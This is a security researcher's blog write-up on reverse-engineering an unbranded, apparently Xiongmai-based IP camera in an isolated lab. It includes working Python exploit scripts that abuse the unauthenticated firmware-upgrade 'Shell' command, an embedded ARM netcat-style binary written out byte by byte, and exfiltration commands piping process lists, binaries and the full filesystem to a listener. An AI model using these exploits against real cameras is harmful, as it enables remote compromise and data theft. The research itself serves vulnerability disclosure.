I recently stumbled on an Aliexpress listing for an 8MP, 4K, h.265-capable
IP camera in a compact form factor. Neither the listing nor the packaging
display any discernible manufacturer. The packaging specifies the model to
be GS-BN1BC8MA
. At the time of writing, I'm unable to find this model
number on Google (nor Bing for that matter).
The product listing specifies the system as Linux on an Mstar processor.
Since similar product listings often mention Cloud NVR features, let's bring this up in an isolated network and see what happens.
Initial network activity
The packaging lists the camera's IP address as 192.168.1.10
without further
detail. I therefore set up a network with the router on 192.168.1.1/24
as well
as 192.168.57.1/24
with DHCP handing out addresses on the .57.
subnet. The
firewall is set up to drop anything originating from the interface while allowing
ESTABLISHED,RELATED
ctstates from my normal network. The DNS server on 192.168.57.1
is set up without any upstream servers, so all DNS lookups will fail.
On boot, the camera announces itself with an ARP broadcast as 192.168.1.10
with
a MAC address starting with 00:12:31
(the vendor prefix of Motion Control Systems, Inc).
The internet suggests that these IP cameras often just squat MAC address space of
unrelated companies, so it can be that this company has nothing to do with the
camera.
It also starts a DHCP discovery and will accept an offer, but does not seem to use
the given IP address consistently. I've seen both cases where it continued using
the default 192.168.1.10
and cases where it does use the IP given by DHCP.
We then see infinite periodic ICMP pings and DNS lookup attempts around every 10 seconds or so. ICMP pings go to:
114.114.114.114
(seems to be some Chinese public DNS provider)8.8.8.8
(Google's public DNS)180.76.76.76
(Baidu's public DNS)
DNS lookups are attempted for:
secu100.net
, via192.168.57.1
(DHCP-provided) and223.5.5.5
(alidns public DNS)aiotsecu.com
, via8.8.8.8
and114.114.114.114
pub-cfg.secu100.net
, via192.168.57.1
,8.8.8.8
and223.5.5.5
Searching for the secu100.net
domain suggests that the Cloud P2P feature the booklet
mentions could be from Xiongmai, implying that segregating the camera into a restricted
network might indeed have been a
good idea.
Nmap finds these open ports:
# nmap -p- 192.168.1.10
Starting Nmap 7.80 ( https://nmap.org ) at 2022-10-23 12:57 UTC
Nmap scan report for 192.168.1.10
Host is up (0.00026s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
80/tcp open http
554/tcp open rtsp
8000/tcp open http-alt
8899/tcp open ospf-lite
34567/tcp open dhanalakshmi
Some Googling hints at port 34567
being related to a protocol called "Polyvision"
and it indeed seems the camera responds to UDP broadcasts like this (eth1
being on the
isolated network):
# printf '\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfa\x05\x00\x00\x00\x00' | \
socat - udp-datagram:255.255.255.255:34569,broadcast,so-bindtodevice=eth1
python-dvr
It also looks like python-dvr works with this camera.
With its get_system_info()
function, we get an additional identifier for the hardware:
'DeviceModel': 'IPC_NT98566_85N80_S38'
'HardWare': 'IPC_NT98566_85N80_S38'
And capabilities:
{'AlarmFunction': {'AlarmConfig': True,
'BlindDetect': True,
'HumanDection': True,
'HumanPedDetection': True,
'LossDetect': True,
'MotionDetect': True,
'NetAbort': True,
'NetAlarm': True,
'NetIpConflict': True,
'PEAInHumanPed': True,
'StorageFailure': True,
'StorageLowSpace': True,
'StorageNotExist': True},
'CommFunction': {'CommRS232': True, 'CommRS485': True},
'EncodeFunction': {'DoubleStream': True,
'SmartH264V2': True,
'SnapStream': True},
'NetServerFunction': {'IPAdaptive': True,
'NetAlarmCenter': True,
'NetDDNS': True,
'NetDHCP': True,
'NetDNS': True,
'NetEmail': True,
'NetFTP': True,
'NetIPFilter': True,
'NetMutlicast': False,
'NetNTP': True,
'NetNat': True,
'NetPMS': True,
'NetPMSV2': True,
'NetRTSP': True,
'NetUPNP': True,
'OnvifPwdCheckout': True,
'WifiRouteSignalLevel': True},
'OtherFunction': {'NOHDDRECORD': True,
'SupportAdminContactInfo': True,
'SupportAlarmVoiceTipInterval': True,
'SupportAlarmVoiceTips': True,
'SupportAlarmVoiceTipsType': True,
'SupportAppBindFlag': True,
'SupportBT': True,
'SupportCamareStyle': True,
'SupportCfgCloudupgrade': True,
'SupportChangeLanguageNoReboot': True,
'SupportCloseVoiceTip': True,
'SupportCloudUpgrade': True,
'SupportCommDataUpload': True,
'SupportDimenCode': True,
'SupportFTPTest': True,
'SupportFaceDetectV2': True,
'SupportMailTest': True,
'SupportPCSetDoubleLight': True,
'SupportPWDSafety': True,
'SupportSetVolume': True,
'SupportShowH265X': True,
'SupportSnapV2Stream': True,
'SupportSoftPhotosensitive': True,
'SupportTextPassword': True,
'SupportTimeZone': True,
'SupportWriteLog': True,
'SuppportChangeOnvifPort': True},
'PreviewFunction': {'Talk': True},
'TipShow': {'NoBeepTipShow': True}}
Encoder settings ("Simplify.Encode"
):
[{'ExtraFormat': {'AudioEnable': True,
'Video': {'BitRate': 439,
'BitRateControl': 'VBR',
'Compression': 'H.265',
'FPS': 15,
'GOP': 2,
'Quality': 4,
'Resolution': 'HD1',
'VirtualGOP': 1},
'VideoEnable': True},
'MainFormat': {'AudioEnable': True,
'Video': {'BitRate': 1962,
'BitRateControl': 'VBR',
'Compression': 'H.265',
'FPS': 10,
'GOP': 2,
'Quality': 3,
'Resolution': '4K',
'VirtualGOP': 1},
'VideoEnable': True}}]
Firmware
Googling for the device model we found (IPC_NT98566_85N80_S38
) yields just one pair
of results at the time of writing - but luckily it takes us to a firmware update.
The zip file contains 4 bin files:
- FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
- FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
- FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
- General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
These seem to actually also be ZIP archives we can unpack to get:
148b39bc79c603df94c53ce53663f590 ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590 ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590 ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590 ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
298bd81d05f88ef8446190ae31de8da3 ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3 ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3 ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3 ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
4187676e2b94c511eb4b9a3db4238d53 ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53 ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53 ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53 ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
534a17dfb80204176cea58d53a502848 ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848 ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848 ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848 ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
58d79de537e0d92e8271ee95e044d39c ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
6bcb7228e9de76c99a290984d9416f4a ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
6f21727c0ebc4689967ac4889c8dcd4a ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
6f3754a39d5ea23062667e9ead4177ed ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
a2bbe7ae2caf6ee68f8c5247731a4e15 ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
bded1bc502b172655ea1fbd7e37b3b3a ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
be58856026fb99305023d58cfb4ed2d4 ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
cd06c03759cfaaa8b8e0ff5c7b17ffff ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
da952acca72f01b60d9910a48eaa5488 ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
f387bbd4b694fb3cc96c67d6515c93d4 ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4 ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4 ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4 ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
sorting them by md5 hash like this makes it quite obvious which files are common to all of them. The ones with differences seem to be
InstallDesc
and custom-x.squashfs.img
. In InstallDesc
, the difference seems to be just the CRC
and Mx8Q
value.
u-boot Environment
We can dump the U-Boot environment with dumpimage
from the u-boot-tools
package and some Python hackery to remove trailing null bytes
and splitting variable definitions on null byte separators to get:
arch=arm
baudrate=115200
board=nvt-na51055
board_name=nvt-na51055
bootdelay=0
cpu=armv7
ethaddr=00:00:23:34:45:66
eth1addr=00:00:23:34:45:77
ethprime=eth0
fdt_high=0x04000000
gatewayip=192.168.68.254
hostname=oaalnx
ipaddr=192.168.68.101
netmask=255.255.255.0
serverip=192.168.68.100
soc=nvt-na51055
ld=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 loader.bin.img;flwrite
df=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 fdt.bin.img;flwrite
da=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.bin.img;sf probe 0;flwrite
de=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.env.img;sf probe 0;flwrite
dl=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 logo-x.squashfs.img;sf probe 0;flwrite
dr=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 romfs-x.squashfs.img;sf probe 0;flwrite
du=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 user-x.squashfs.img;sf probe 0;flwrite
dc=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 custom-x.squashfs.img;sf probe 0;flwrite
dw=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 web-x.squashfs.img;sf probe 0;flwrite
dd=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 mtd-x.jffs2.img;sf probe 0;flwrite
up=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 update.img;sf probe 0;flwrite
ua=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 upall_verify.img;sf probe 0;flwrite
tk=tftpboot 0x01000000 uImage;setenv setargs setenv bootargs ${bootargs};run setargs;nvt_boot 0x01000000
loadlogo=sf probe 0;sf read 0x02000000 ;logoload 0x02000000;decjpg 0;bootlogo
loadromfs=sf probe 0;sf read 0x02000000 0x40000 0x2E0000;squashfsload;nvt_boot
bootcmd=setenv setargs setenv bootargs ${bootargs};run setargs;run loadromfs
bootargs=earlyprintk console=ttyS0,115200 init=linuxrc mem=${osmem} rootwait nprofile_irq_duration=on root=/dev/mtdblock2 rootfstype=squashfs mtdparts=spi_nor.0:0x10000(loader),0x30000(boot),0x2E0000(romfs),0x420000(usr),0x40000(web),0x30000(custom),0x50000(mtd)
osmem=60M
stderr=ns16550_serial
stdin=ns16550_serial
stdout=ns16550_serial
vendor=novatek
ver=U-Boot 2016.07 (May 15 2019 - 21:34:56 +0800)
SquashFS images
We can also use dumpimage
to convert the *.squashfs.img
to bare SquashFS filsystems which we
can then extract with unsquashfs
. This works nicely to just get a look at the files, but it
does not preserve the symlinks in some places.
A first obvious thing is to have a look at /etc/passwd
. If we search for the root password
hash on the internet, it seems to be a well-known password and also shows up in some Mirai botnet
related testers for known hardcoded default credentials.
We can go a bit more fancy and mount the images:
mount "$FW_DIR/romfs-x.squashfs" "$MOUNT_DIR" -t squashfs -o loop
mount "$FW_DIR/user-x.squashfs" "$MOUNT_DIR/usr" -t squashfs -o loop
mount "$FW_DIR/web-x.squashfs" "$MOUNT_DIR/mnt/web" -t squashfs -o loop
mount "$FW_DIR/custom-x.squashfs" "$MOUNT_DIR/mnt/custom" -t squashfs -o loop
which will recreate the filesystem hierarchy the camera sees. This is not quite everything
that is mounted, but you can see the exact setup in /etc/init.d/rcS
. There, we can
also see that the main application (/usr/bin/App
) seems to be launched through
/usr/sbin/AppRun.sh
.
InstallDesc
The InstallDesc
file is interesting since it contains instructions for what to do
when running an upgrade. At first glance, it looks like there is some sort of integrity
checking with the CRC
and Mx8Q
values.
The python-dvr
project we used earlier has a method to apply such firmware upgrades,
but more interestingly, it also has a script telnet_opener.py
. It uses a "Shell"
command instead of "Burn"
to run scripts. The constructed InstallDesc
file however
seems to use some hardcoded CRC value independent of what script is run, suggesting
that the CRC is not actually checked.
Sadly our firmware does not seem to include a telnetd
binary, but we can test by
pinging our router:
import zipfile
import argparse
import json
from dvrip import DVRIPCam
def make_zip(filename, cmd):
data = json.dumps({
"UpgradeCommand": [{"Command": "Shell", "Script": cmd}],
"Hardware": "IPC_NT98566_85N80_S38",
"DevID": "000639I21001000000000200",
"Vendor": "General",
"CompatibleVersion": 1,
}, indent=2)
with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr("InstallDesc", data)
def main():
cam = DVRIPCam("<YOUR_CAMERA_IP>", user="admin", password="")
if not cam.login():
print("Cannot connect")
return
make_zip("/tmp/update.bin", "/bin/ping -c 5 <YOUR_ROUTER_IP>")
cam.upgrade("/tmp/update.bin")
cam.close()
if __name__ == "__main__":
main()
and indeed, running this causes 5 ICMP pings to show up at the router without
even specifying a CRC
or Mx8Q
value at all! As is, this however does seem to reboot the camera afterwards.
Poking at the App code
If we look at the App
binary in a disassembler (e.g. Ghidra) to get a better idea what happens
during an upgrade, we can find logging printf
calls implying a function called
CUpgrader::onUpgrade
. Without having done a detailed analysis, it looks like this
function has two ways of operating:
- Shelling out to
/usr/bin/upgrader
- Doing stuff itself
The upgrade part directly in the App
binary seems to have code to check the CRC (unless disabled
through CheckVersionCRC
in InstallDesc
) and Mx8Q
values, but it does not seem to happen
for our shell command payload (or the camera is running an older firmware without the code).
Computing the Mx8Q
value seems to involve some sort of MD5 hashing.
The App
implementation will also skip over shell commands that contain as a substring any of:
- telnetd
- sleep
- /debug
or if they are longer than 100 characters. These restrictions look like attempts to deal
with some of the exploitation history around this vendor - but since there are
many ways to break strings up in a shell, a substring match like this is entirely pointless
as long as you let clients feed anything else they like into a system()
call.
Getting some data back
So far, we've only run some pings - a nice way to get an observable side-effect to confirm it's working - but not really anything helping us to get data out. Looking at all available binaries on from the SquashFS images, it sadly looks like we don't have anything interesting to open some sort of connection. We could maybe abuse the built-in web server, but the web root is on a read-only filesystem we'd have to mount a ramfs over to be able to write outputs.
So instead, let's try to ship a binary of our choice over to the camera. While we're limited
to 100 bytes per shell command, we can add multiple shell commands which will be run in sequence.
In terms of what to run, we want something small that can communicate over the network. Doing
some research, I stumbled on sockout which is a
minimal ELF binary providing the bare minimum of netcat
functionality. So let's take
sockconnect
and put our IP (192.168.57.1
, aka. \xc0\xa8\x39\x01
in network byte order)
at the end and combine it with our previous script:
import zipfile
import argparse
import json
from dvrip import DVRIPCam
def make_zip(filename, cmd):
upgrade_command = []
if isinstance(cmd, str):
upgrade_command.append({"Command": "Shell", "Script": cmd})
else:
for c in cmd:
upgrade_command.append({"Command": "Shell", "Script": c})
data = json.dumps({
"UpgradeCommand": upgrade_command,
"Hardware": "IPC_NT98566_85N80_S38",
"DevID": "000639I21001000000000200",
"Vendor": "General",
"CompatibleVersion": 1,
}, indent=2)
with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr("InstallDesc", data)
def main():
cam = DVRIPCam("<IP of camera>", user="admin", password="")
if not cam.login():
print(f"Cannot connect")
return
make_zip("/tmp/update.bin", [
r"printf '\x7f\x45\x4c\x46\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00' > /var/sc",
r"printf '\x02\x00\x28\x00\x20\x00\x20\x00\x20\x00\x20\x00\x04\x00\x00\x00' >> /var/sc",
r"printf '\x09\x10\x8f\xe2\x11\xff\x2f\xe1\x34\x00\x20\x00\x01\x00\x00\x00' >> /var/sc",
r"printf '\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x00\xdf\x04\x1c\x0c\xa1' >> /var/sc",
r"printf '\x10\x22\x02\x37\x00\xdf\x01\x23\x9b\x02\x69\x46\xc9\x1a\x8d\x46' >> /var/sc",
r"printf '\x00\x20\x1a\x1c\x03\x27\x00\xdf\x02\x1c\x20\x1c\x04\x27\x00\xdf' >> /var/sc",
r"printf '\x00\x2a\xf5\xdc\x20\x1c\x06\x27\x00\xdf\x40\x40\x01\x27\x00\xdf' >> /var/sc",
r"printf '\x02\x00\x11\x5c\xc0\xa8\x39\x01' >> /var/sc",
'chmod +x /var/sc',
'ps aux | /var/sc',
])
cam.upgrade("/tmp/update.bin")
cam.close()
if __name__ == '__main__':
main()
We can listen for this with nc -l 192.168.57.1 4444
on our router and get:
PID USER VSZ STAT COMMAND
1 root 1548 S linuxrc
2 root 0 SW [kthreadd]
3 root 0 IW< [rcu_gp]
4 root 0 IW< [rcu_par_gp]
5 root 0 IW [kworker/0:0-eve]
6 root 0 IW< [kworker/0:0H-kb]
7 root 0 IW [kworker/u2:0-ev]
8 root 0 IW< [mm_percpu_wq]
9 root 0 SW [ksoftirqd/0]
10 root 0 IW [rcu_preempt]
11 root 0 IW [rcu_sched]
12 root 0 IW [rcu_bh]
13 root 0 SW [kdevtmpfs]
14 root 0 SW [rcu_tasks_kthre]
15 root 0 SW [oom_reaper]
16 root 0 IW< [writeback]
17 root 0 SW [kcompactd0]
18 root 0 IW< [crypto]
19 root 0 IW< [kblockd]
20 root 0 SW [watchdogd]
21 root 0 SW [irq/52-DAI_INT]
22 root 0 IW [kworker/0:1-eve]
23 root 0 IW< [rpciod]
24 root 0 IW< [kworker/u3:0]
25 root 0 IW< [xprtiod]
26 root 0 SW [kswapd0]
27 root 0 IW< [nfsiod]
37 root 0 IW [kworker/u2:1-ev]
71 root 0 IW [kworker/0:2-mtd]
72 root 0 IW< [kworker/0:1H-kb]
87 root 0 SWN [jffs2_gcd_mtd6]
126 root 0 DW [timer_ist]
131 root 0 DW [nvt_ddr_proc_ts]
149 root 0 DW [kdrv_ise_proc_t]
150 root 0 DW [kdrv_ise_cb_tsk]
288 root 0 DW [ae_tsk]
289 root 0 DW [ae_tsk]
292 root 0 DW [awb_tsk]
293 root 0 DW [awb_tsk]
296 root 0 DW [iq_tsk]
297 root 0 DW [iq_tsk]
309 root 12400 S XmServices_Mgr /usr/sbin/AppRun.sh /mnt/mtd/Config/
315 root 1544 S {AppRun.sh} /bin/sh /usr/sbin/AppRun.sh
317 root 89704 S /usr/bin/App
409 root 1544 S /bin/sh -c ps | /var/sc
410 root 1548 R ps
411 root 2188 S /var/sc
As we can't see /usr/bin/upgrader
in this, it indeed looks like
we're hitting the upgrade code within the App
binary itself. We can also
get the App binary from the camera by applying the same trick to run
cat /usr/bin/App | /var/sc
.
Comparing the md5sum for both the on-camera binary and the one from the firmware update reveals a difference:
- db5f42a51af844b133ef440519a0513e (camera)
- 9a40ddf089ffdb5f9565aeb93279d250 (update)
While we're at it, we might as well also just ship over the whole filesystem since
we have tar available: tar -c --exclude=proc --exclude=dev --exclude=sys / | /var/sc
.